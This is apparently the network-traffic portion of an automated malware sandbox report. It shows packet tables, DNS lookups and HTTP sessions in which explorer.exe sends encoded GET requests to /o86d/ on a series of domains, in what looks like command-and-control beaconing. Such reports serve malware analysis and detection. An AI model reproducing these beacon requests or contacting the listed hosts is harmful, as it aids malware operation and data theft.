May 4, 2021 14:07:24.701817036 CEST	49726	80	192.168.2.7	199.192.27.68
May 4, 2021 14:07:24.701956987 CEST	49726	80	192.168.2.7	199.192.27.68
May 4, 2021 14:07:24.890364885 CEST	80	49726	199.192.27.68	192.168.2.7
May 4, 2021 14:07:29.919692039 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:30.082355976 CEST	80	49727	162.241.62.33	192.168.2.7
May 4, 2021 14:07:30.082545996 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:30.082694054 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:30.244349003 CEST	80	49727	162.241.62.33	192.168.2.7
May 4, 2021 14:07:30.586030960 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:30.714499950 CEST	80	49727	162.241.62.33	192.168.2.7
May 4, 2021 14:07:30.714600086 CEST	80	49727	162.241.62.33	192.168.2.7
May 4, 2021 14:07:30.714714050 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:30.714736938 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:30.746831894 CEST	80	49727	162.241.62.33	192.168.2.7
May 4, 2021 14:07:30.746906996 CEST	49727	80	192.168.2.7	162.241.62.33
May 4, 2021 14:07:40.941165924 CEST	49728	80	192.168.2.7	185.231.69.84
May 4, 2021 14:07:40.989896059 CEST	80	49728	185.231.69.84	192.168.2.7
May 4, 2021 14:07:40.990048885 CEST	49728	80	192.168.2.7	185.231.69.84
May 4, 2021 14:07:40.990309954 CEST	49728	80	192.168.2.7	185.231.69.84
May 4, 2021 14:07:41.038707972 CEST	80	49728	185.231.69.84	192.168.2.7
May 4, 2021 14:07:41.063040018 CEST	80	49728	185.231.69.84	192.168.2.7
May 4, 2021 14:07:41.063060045 CEST	80	49728	185.231.69.84	192.168.2.7
May 4, 2021 14:07:41.063229084 CEST	49728	80	192.168.2.7	185.231.69.84
May 4, 2021 14:07:41.063338995 CEST	49728	80	192.168.2.7	185.231.69.84
May 4, 2021 14:07:41.113607883 CEST	80	49728	185.231.69.84	192.168.2.7
May 4, 2021 14:07:46.162425995 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.205066919 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.205226898 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.205315113 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.246121883 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421359062 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421375990 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421431065 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421444893 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421458006 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421466112 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421473980 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.421566963 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.421601057 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.421612978 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.421614885 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.421619892 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.421622992 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.421936035 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:46.462276936 CEST	80	49732	23.227.38.74	192.168.2.7
May 4, 2021 14:07:46.462409019 CEST	49732	80	192.168.2.7	23.227.38.74
May 4, 2021 14:07:51.662437916 CEST	49734	80	192.168.2.7	67.222.39.83
May 4, 2021 14:07:51.847284079 CEST	80	49734	67.222.39.83	192.168.2.7
May 4, 2021 14:07:51.848881006 CEST	49734	80	192.168.2.7	67.222.39.83
May 4, 2021 14:07:51.849014997 CEST	49734	80	192.168.2.7	67.222.39.83
May 4, 2021 14:07:52.037750006 CEST	80	49734	67.222.39.83	192.168.2.7
May 4, 2021 14:07:52.337791920 CEST	49734	80	192.168.2.7	67.222.39.83
May 4, 2021 14:07:52.571387053 CEST	80	49734	67.222.39.83	192.168.2.7
May 4, 2021 14:07:53.232192039 CEST	80	49734	67.222.39.83	192.168.2.7
May 4, 2021 14:07:53.232219934 CEST	80	49734	67.222.39.83	192.168.2.7
May 4, 2021 14:07:53.232340097 CEST	49734	80	192.168.2.7	67.222.39.83
May 4, 2021 14:07:53.232494116 CEST	49734	80	192.168.2.7	67.222.39.83
May 4, 2021 14:07:58.462330103 CEST	49735	80	192.168.2.7	34.102.136.180
May 4, 2021 14:07:58.504686117 CEST	80	49735	34.102.136.180	192.168.2.7
May 4, 2021 14:07:58.504787922 CEST	49735	80	192.168.2.7	34.102.136.180
May 4, 2021 14:07:58.504919052 CEST	49735	80	192.168.2.7	34.102.136.180
May 4, 2021 14:07:58.545830011 CEST	80	49735	34.102.136.180	192.168.2.7
May 4, 2021 14:07:58.641736031 CEST	80	49735	34.102.136.180	192.168.2.7
May 4, 2021 14:07:58.641768932 CEST	80	49735	34.102.136.180	192.168.2.7
May 4, 2021 14:07:58.641910076 CEST	49735	80	192.168.2.7	34.102.136.180
May 4, 2021 14:07:58.641980886 CEST	49735	80	192.168.2.7	34.102.136.180
May 4, 2021 14:07:58.684171915 CEST	80	49735	34.102.136.180	192.168.2.7
May 4, 2021 14:08:03.745023012 CEST	49736	80	192.168.2.7	206.189.46.186
May 4, 2021 14:08:04.049304008 CEST	80	49736	206.189.46.186	192.168.2.7
May 4, 2021 14:08:04.053236008 CEST	49736	80	192.168.2.7	206.189.46.186
May 4, 2021 14:08:04.053411007 CEST	49736	80	192.168.2.7	206.189.46.186
May 4, 2021 14:08:04.353348970 CEST	80	49736	206.189.46.186	192.168.2.7
May 4, 2021 14:08:04.353432894 CEST	80	49736	206.189.46.186	192.168.2.7
May 4, 2021 14:08:04.353461981 CEST	80	49736	206.189.46.186	192.168.2.7
May 4, 2021 14:08:04.353693008 CEST	49736	80	192.168.2.7	206.189.46.186
May 4, 2021 14:08:04.353780985 CEST	49736	80	192.168.2.7	206.189.46.186
May 4, 2021 14:08:04.653826952 CEST	80	49736	206.189.46.186	192.168.2.7
May 4, 2021 14:08:14.825135946 CEST	49748	80	192.168.2.7	198.54.115.5
May 4, 2021 14:08:15.015055895 CEST	80	49748	198.54.115.5	192.168.2.7
May 4, 2021 14:08:15.016072035 CEST	49748	80	192.168.2.7	198.54.115.5
May 4, 2021 14:08:15.016560078 CEST	49748	80	192.168.2.7	198.54.115.5
May 4, 2021 14:08:15.212879896 CEST	80	49748	198.54.115.5	192.168.2.7
May 4, 2021 14:08:15.212922096 CEST	80	49748	198.54.115.5	192.168.2.7
May 4, 2021 14:08:15.213155031 CEST	49748	80	192.168.2.7	198.54.115.5
May 4, 2021 14:08:15.213226080 CEST	49748	80	192.168.2.7	198.54.115.5
May 4, 2021 14:08:15.406308889 CEST	80	49748	198.54.115.5	192.168.2.7
May 4, 2021 14:08:20.281852961 CEST	49749	80	192.168.2.7	192.0.78.24
May 4, 2021 14:08:20.324219942 CEST	80	49749	192.0.78.24	192.168.2.7
May 4, 2021 14:08:20.324331045 CEST	49749	80	192.168.2.7	192.0.78.24
May 4, 2021 14:08:20.324528933 CEST	49749	80	192.168.2.7	192.0.78.24
May 4, 2021 14:08:20.365189075 CEST	80	49749	192.0.78.24	192.168.2.7
May 4, 2021 14:08:20.365212917 CEST	80	49749	192.0.78.24	192.168.2.7
May 4, 2021 14:08:20.365221977 CEST	80	49749	192.0.78.24	192.168.2.7
May 4, 2021 14:08:20.365461111 CEST	49749	80	192.168.2.7	192.0.78.24
May 4, 2021 14:08:20.365537882 CEST	49749	80	192.168.2.7	192.0.78.24
May 4, 2021 14:08:20.406291962 CEST	80	49749	192.0.78.24	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 4, 2021 14:06:19.333570004 CEST	62452	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:19.408221006 CEST	53	62452	8.8.8.8	192.168.2.7
May 4, 2021 14:06:19.468719959 CEST	57820	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:19.518894911 CEST	53	57820	8.8.8.8	192.168.2.7
May 4, 2021 14:06:19.699589014 CEST	50848	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:19.748693943 CEST	53	50848	8.8.8.8	192.168.2.7
May 4, 2021 14:06:20.822504997 CEST	61242	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:20.872454882 CEST	53	61242	8.8.8.8	192.168.2.7
May 4, 2021 14:06:22.047406912 CEST	58562	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:22.096549034 CEST	53	58562	8.8.8.8	192.168.2.7
May 4, 2021 14:06:22.559493065 CEST	56590	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:22.628572941 CEST	53	56590	8.8.8.8	192.168.2.7
May 4, 2021 14:06:22.880117893 CEST	60501	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:22.929502964 CEST	53	60501	8.8.8.8	192.168.2.7
May 4, 2021 14:06:24.684281111 CEST	53775	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:24.733577967 CEST	53	53775	8.8.8.8	192.168.2.7
May 4, 2021 14:06:25.512984991 CEST	51837	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:25.564626932 CEST	53	51837	8.8.8.8	192.168.2.7
May 4, 2021 14:06:26.776539087 CEST	55411	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:26.825258970 CEST	53	55411	8.8.8.8	192.168.2.7
May 4, 2021 14:06:29.132971048 CEST	63668	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:29.191405058 CEST	53	63668	8.8.8.8	192.168.2.7
May 4, 2021 14:06:30.156620979 CEST	54640	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:30.205650091 CEST	53	54640	8.8.8.8	192.168.2.7
May 4, 2021 14:06:31.093833923 CEST	58739	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:31.142606020 CEST	53	58739	8.8.8.8	192.168.2.7
May 4, 2021 14:06:33.352722883 CEST	60338	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:33.404259920 CEST	53	60338	8.8.8.8	192.168.2.7
May 4, 2021 14:06:34.559526920 CEST	58717	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:34.612495899 CEST	53	58717	8.8.8.8	192.168.2.7
May 4, 2021 14:06:35.744995117 CEST	59762	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:35.795392036 CEST	53	59762	8.8.8.8	192.168.2.7
May 4, 2021 14:06:36.686005116 CEST	54329	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:36.736308098 CEST	53	54329	8.8.8.8	192.168.2.7
May 4, 2021 14:06:37.772783041 CEST	58052	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:37.821469069 CEST	53	58052	8.8.8.8	192.168.2.7
May 4, 2021 14:06:39.061640978 CEST	54008	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:39.110397100 CEST	53	54008	8.8.8.8	192.168.2.7
May 4, 2021 14:06:39.917103052 CEST	59451	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:39.965784073 CEST	53	59451	8.8.8.8	192.168.2.7
May 4, 2021 14:06:42.994235992 CEST	52914	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:43.045818090 CEST	53	52914	8.8.8.8	192.168.2.7
May 4, 2021 14:06:44.647125959 CEST	64569	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:44.698791981 CEST	53	64569	8.8.8.8	192.168.2.7
May 4, 2021 14:06:45.445130110 CEST	52816	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:45.502480984 CEST	53	52816	8.8.8.8	192.168.2.7
May 4, 2021 14:06:45.576879978 CEST	50781	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:45.625689983 CEST	53	50781	8.8.8.8	192.168.2.7
May 4, 2021 14:06:46.900940895 CEST	54230	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:46.949641943 CEST	53	54230	8.8.8.8	192.168.2.7
May 4, 2021 14:06:58.122010946 CEST	54911	53	192.168.2.7	8.8.8.8
May 4, 2021 14:06:58.170706987 CEST	53	54911	8.8.8.8	192.168.2.7
May 4, 2021 14:07:15.087577105 CEST	49958	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:15.146224976 CEST	53	49958	8.8.8.8	192.168.2.7
May 4, 2021 14:07:15.294667959 CEST	50860	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:15.343267918 CEST	53	50860	8.8.8.8	192.168.2.7
May 4, 2021 14:07:20.738805056 CEST	50452	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:20.805721998 CEST	53	50452	8.8.8.8	192.168.2.7
May 4, 2021 14:07:24.147571087 CEST	59730	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:24.216859102 CEST	53	59730	8.8.8.8	192.168.2.7
May 4, 2021 14:07:29.716084003 CEST	59310	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:29.918346882 CEST	53	59310	8.8.8.8	192.168.2.7
May 4, 2021 14:07:35.608047962 CEST	51919	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:35.795407057 CEST	53	51919	8.8.8.8	192.168.2.7
May 4, 2021 14:07:40.835602999 CEST	64296	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:40.939733982 CEST	53	64296	8.8.8.8	192.168.2.7
May 4, 2021 14:07:45.378418922 CEST	56680	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:45.432214022 CEST	53	56680	8.8.8.8	192.168.2.7
May 4, 2021 14:07:46.075125933 CEST	58820	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:46.149853945 CEST	53	58820	8.8.8.8	192.168.2.7
May 4, 2021 14:07:48.039201975 CEST	60983	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:48.102483988 CEST	53	60983	8.8.8.8	192.168.2.7
May 4, 2021 14:07:51.467829943 CEST	49247	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:51.661175966 CEST	53	49247	8.8.8.8	192.168.2.7
May 4, 2021 14:07:57.381262064 CEST	52286	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:58.385168076 CEST	52286	53	192.168.2.7	8.8.8.8
May 4, 2021 14:07:58.461399078 CEST	53	52286	8.8.8.8	192.168.2.7
May 4, 2021 14:08:03.655659914 CEST	56064	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:03.743710995 CEST	53	56064	8.8.8.8	192.168.2.7
May 4, 2021 14:08:07.877969980 CEST	63744	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:08.020247936 CEST	53	63744	8.8.8.8	192.168.2.7
May 4, 2021 14:08:08.561053991 CEST	61457	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:08.620629072 CEST	53	61457	8.8.8.8	192.168.2.7
May 4, 2021 14:08:09.152486086 CEST	58367	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:09.228902102 CEST	60599	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:09.229927063 CEST	53	58367	8.8.8.8	192.168.2.7
May 4, 2021 14:08:09.333000898 CEST	53	60599	8.8.8.8	192.168.2.7
May 4, 2021 14:08:09.359584093 CEST	59571	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:09.726725101 CEST	53	59571	8.8.8.8	192.168.2.7
May 4, 2021 14:08:09.852539062 CEST	52689	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:09.901209116 CEST	53	52689	8.8.8.8	192.168.2.7
May 4, 2021 14:08:10.464382887 CEST	50290	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:10.627744913 CEST	53	50290	8.8.8.8	192.168.2.7
May 4, 2021 14:08:11.197166920 CEST	60427	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:11.259094000 CEST	53	60427	8.8.8.8	192.168.2.7
May 4, 2021 14:08:11.705502033 CEST	56209	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:11.905782938 CEST	53	56209	8.8.8.8	192.168.2.7
May 4, 2021 14:08:12.733133078 CEST	59582	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:12.790390015 CEST	53	59582	8.8.8.8	192.168.2.7
May 4, 2021 14:08:13.785479069 CEST	60949	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:13.846740961 CEST	53	60949	8.8.8.8	192.168.2.7
May 4, 2021 14:08:14.298089027 CEST	58542	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:14.357672930 CEST	53	58542	8.8.8.8	192.168.2.7
May 4, 2021 14:08:14.762854099 CEST	59179	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:14.824110985 CEST	53	59179	8.8.8.8	192.168.2.7
May 4, 2021 14:08:20.218633890 CEST	60927	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:20.280332088 CEST	53	60927	8.8.8.8	192.168.2.7
May 4, 2021 14:08:22.379195929 CEST	57854	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:22.432400942 CEST	53	57854	8.8.8.8	192.168.2.7
May 4, 2021 14:08:23.621026993 CEST	62026	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:23.678468943 CEST	53	62026	8.8.8.8	192.168.2.7
May 4, 2021 14:08:25.376905918 CEST	59453	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:25.447524071 CEST	53	59453	8.8.8.8	192.168.2.7
May 4, 2021 14:08:37.505086899 CEST	62468	53	192.168.2.7	8.8.8.8
May 4, 2021 14:08:37.566422939 CEST	53	62468	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 4, 2021 14:07:24.147571087 CEST	192.168.2.7	8.8.8.8	0x4d6f	Standard query (0)	www.cinmax.xyz	A (IP address)	IN (0x0001)
May 4, 2021 14:07:29.716084003 CEST	192.168.2.7	8.8.8.8	0xfbf4	Standard query (0)	www.genialnetero.com	A (IP address)	IN (0x0001)
May 4, 2021 14:07:35.608047962 CEST	192.168.2.7	8.8.8.8	0xa3e1	Standard query (0)	www.evrbrite.com	A (IP address)	IN (0x0001)
May 4, 2021 14:07:40.835602999 CEST	192.168.2.7	8.8.8.8	0x746c	Standard query (0)	www.joycasino-2020.club	A (IP address)	IN (0x0001)
May 4, 2021 14:07:46.075125933 CEST	192.168.2.7	8.8.8.8	0x3167	Standard query (0)	www.marielivet.com	A (IP address)	IN (0x0001)
May 4, 2021 14:07:51.467829943 CEST	192.168.2.7	8.8.8.8	0x21a	Standard query (0)	www.firstcoastelope.com	A (IP address)	IN (0x0001)
May 4, 2021 14:07:57.381262064 CEST	192.168.2.7	8.8.8.8	0xe3fe	Standard query (0)	www.blueberry-intl.com	A (IP address)	IN (0x0001)
May 4, 2021 14:07:58.385168076 CEST	192.168.2.7	8.8.8.8	0xe3fe	Standard query (0)	www.blueberry-intl.com	A (IP address)	IN (0x0001)
May 4, 2021 14:08:03.655659914 CEST	192.168.2.7	8.8.8.8	0x921d	Standard query (0)	www.thaihuay88.com	A (IP address)	IN (0x0001)
May 4, 2021 14:08:09.359584093 CEST	192.168.2.7	8.8.8.8	0xc467	Standard query (0)	www.morumi.site	A (IP address)	IN (0x0001)
May 4, 2021 14:08:14.762854099 CEST	192.168.2.7	8.8.8.8	0x800c	Standard query (0)	www.website-bazar.com	A (IP address)	IN (0x0001)
May 4, 2021 14:08:20.218633890 CEST	192.168.2.7	8.8.8.8	0x998c	Standard query (0)	www.sherylabrahamphotography.com	A (IP address)	IN (0x0001)
May 4, 2021 14:08:25.376905918 CEST	192.168.2.7	8.8.8.8	0x3f82	Standard query (0)	www.recruit-japan-hcm.com	A (IP address)	IN (0x0001)
May 4, 2021 14:08:37.505086899 CEST	192.168.2.7	8.8.8.8	0xb00d	Standard query (0)	www.arpinaindustriesllc.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 4, 2021 14:07:24.216859102 CEST	8.8.8.8	192.168.2.7	0x4d6f	No error (0)	www.cinmax.xyz		199.192.27.68	A (IP address)	IN (0x0001)
May 4, 2021 14:07:29.918346882 CEST	8.8.8.8	192.168.2.7	0xfbf4	No error (0)	www.genialnetero.com	genialnetero.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:07:29.918346882 CEST	8.8.8.8	192.168.2.7	0xfbf4	No error (0)	genialnetero.com		162.241.62.33	A (IP address)	IN (0x0001)
May 4, 2021 14:07:35.795407057 CEST	8.8.8.8	192.168.2.7	0xa3e1	Name error (3)	www.evrbrite.com	none	none	A (IP address)	IN (0x0001)
May 4, 2021 14:07:40.939733982 CEST	8.8.8.8	192.168.2.7	0x746c	No error (0)	www.joycasino-2020.club		185.231.69.84	A (IP address)	IN (0x0001)
May 4, 2021 14:07:46.149853945 CEST	8.8.8.8	192.168.2.7	0x3167	No error (0)	www.marielivet.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:07:46.149853945 CEST	8.8.8.8	192.168.2.7	0x3167	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)
May 4, 2021 14:07:51.661175966 CEST	8.8.8.8	192.168.2.7	0x21a	No error (0)	www.firstcoastelope.com	firstcoastelope.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:07:51.661175966 CEST	8.8.8.8	192.168.2.7	0x21a	No error (0)	firstcoastelope.com		67.222.39.83	A (IP address)	IN (0x0001)
May 4, 2021 14:07:58.461399078 CEST	8.8.8.8	192.168.2.7	0xe3fe	No error (0)	www.blueberry-intl.com	blueberry-intl.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:07:58.461399078 CEST	8.8.8.8	192.168.2.7	0xe3fe	No error (0)	blueberry-intl.com		34.102.136.180	A (IP address)	IN (0x0001)
May 4, 2021 14:08:03.743710995 CEST	8.8.8.8	192.168.2.7	0x921d	No error (0)	www.thaihuay88.com		206.189.46.186	A (IP address)	IN (0x0001)
May 4, 2021 14:08:09.726725101 CEST	8.8.8.8	192.168.2.7	0xc467	Name error (3)	www.morumi.site	none	none	A (IP address)	IN (0x0001)
May 4, 2021 14:08:14.824110985 CEST	8.8.8.8	192.168.2.7	0x800c	No error (0)	www.website-bazar.com	website-bazar.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:08:14.824110985 CEST	8.8.8.8	192.168.2.7	0x800c	No error (0)	website-bazar.com		198.54.115.5	A (IP address)	IN (0x0001)
May 4, 2021 14:08:20.280332088 CEST	8.8.8.8	192.168.2.7	0x998c	No error (0)	www.sherylabrahamphotography.com	sherylabrahamphotography.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:08:20.280332088 CEST	8.8.8.8	192.168.2.7	0x998c	No error (0)	sherylabrahamphotography.com		192.0.78.24	A (IP address)	IN (0x0001)
May 4, 2021 14:08:20.280332088 CEST	8.8.8.8	192.168.2.7	0x998c	No error (0)	sherylabrahamphotography.com		192.0.78.25	A (IP address)	IN (0x0001)
May 4, 2021 14:08:25.447524071 CEST	8.8.8.8	192.168.2.7	0x3f82	Name error (3)	www.recruit-japan-hcm.com	none	none	A (IP address)	IN (0x0001)
May 4, 2021 14:08:37.566422939 CEST	8.8.8.8	192.168.2.7	0xb00d	No error (0)	www.arpinaindustriesllc.com	arpinaindustriesllc.com		CNAME (Canonical name)	IN (0x0001)
May 4, 2021 14:08:37.566422939 CEST	8.8.8.8	192.168.2.7	0xb00d	No error (0)	arpinaindustriesllc.com		162.0.232.119	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.cinmax.xyz

www.genialnetero.com

www.joycasino-2020.club

www.marielivet.com

www.firstcoastelope.com

www.blueberry-intl.com

www.thaihuay88.com

www.website-bazar.com

www.sherylabrahamphotography.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49726	199.192.27.68	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:07:24.425563097 CEST	1510	OUT	GET /o86d/?W6jDfD=FLq1m09lMNVeUGxb2EGlpEcYOBglVjP6VclDGdRBVwR1mwk4Bp+oxJyzVgRWjmk7leVMWGvpeQ==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.cinmax.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:07:24.701565027 CEST	1510	IN	HTTP/1.1 404 Not Found Date: Tue, 04 May 2021 12:07:24 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 328 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6f 38 36 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /o86d/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49727	162.241.62.33	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:07:30.082694054 CEST	1511	OUT	GET /o86d/?W6jDfD=ciPSY9IHIiBMUeM+AHa6rnkVhX0NcoOlsc17DR+fEw9UxF+XyC1njkrt1st9cFa0q3XsiD0AOg==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.genialnetero.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:07:30.714499950 CEST	1512	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 04 May 2021 12:07:30 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://genialnetero.com/o86d/?W6jDfD=ciPSY9IHIiBMUeM+AHa6rnkVhX0NcoOlsc17DR+fEw9UxF+XyC1njkrt1st9cFa0q3XsiD0AOg==&Yn=ybdHh8KP02GTtb Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49728	185.231.69.84	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:07:40.990309954 CEST	1513	OUT	GET /o86d/?W6jDfD=sTrQNZETbqohgMY0G3QDWOyfMZqAyHA57kuO1l/GbTBT7+5tNjLfMqbR0u4OJ3a+5b59BonIRA==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.joycasino-2020.club Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:07:41.063040018 CEST	1513	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Tue, 04 May 2021 12:07:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close X-Powered-By: PHP/7.2.34 Status: 503 Service Temporarily Unavailable Retry-After: 259200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49732	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:07:46.205315113 CEST	1570	OUT	GET /o86d/?W6jDfD=PL9u7p4v7hn5T83wCAG42BUGAPPNW4v8+s1TFKrmIVkrOUDjB/r4wvcv+gOAAG+Oa4qYtq3B7Q==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.marielivet.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
